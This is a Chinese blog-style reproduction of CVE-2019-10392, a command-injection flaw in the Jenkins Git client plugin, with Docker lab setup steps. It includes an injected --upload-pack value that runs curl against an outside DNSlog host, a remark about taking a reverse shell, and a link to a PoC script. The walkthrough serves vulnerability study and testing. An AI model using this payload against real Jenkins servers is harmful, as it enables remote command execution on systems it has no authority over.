CVE-2019-10392:Jenkins Git client插件RCE复现

0x00 简介

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

0x01 漏洞概述

Git客户端插件中的系统命令执行漏洞,这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现命令执行。

0x02 影响范围

Git client Plugin <= 2.8.4

0x03 环境搭建

docker search Jenkins

docker pull jenkins/jenkins

docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins

 

等待1~2分钟后(启动较慢),浏览器访问ip:8080进入环境

 

docker exec -it 2d0c55ad015c /bin/bash

cat /var/jenkins_home/secrets/initialAdminPassword

 

 

输入密码后继续下一步,安装推荐的插件,这个安装过程要花比较长的时间,15~20分钟

 

继续下一步,创建一个管理员

 

 

继续下一步,就进入了Jenkins主页面

系统管理 -- 管理用户 -- 新建用户,创建一个user账户

 

 

 

 

然后进入:系统管理 -- 全局安全配置,为user账户配置如下权限

 

 

下载漏洞版本的插件(推荐安装的都是官网的最新版本)

git客户端:http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi

git插件:http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi

然后进入:系统管理 -- 插件管理 -- 高级,将两个插件上传

 

 

都上传完后点击下图的安装完成后重启Jenkins即可重新启动服务

 

 

0x04 漏洞利用

重启后,登录user账户

新建任务 -- 流水线

 

 

确定后,点击流水线

 

 

选择以下选项,输入Poc(使用dnslog检测):

--upload-pack="`curl ysp8lf.dnslog.cn`"

 

 

查看dnslog,检测到流量

 

反弹shell后便可以做你想做的事情了

 

Poc脚本:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

参考链接:

https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg

更多复现内容请关注公众号Timeline Sec

posted @ 2019-10-07 17:29  PaperPen  阅读(841)  评论(0编辑  收藏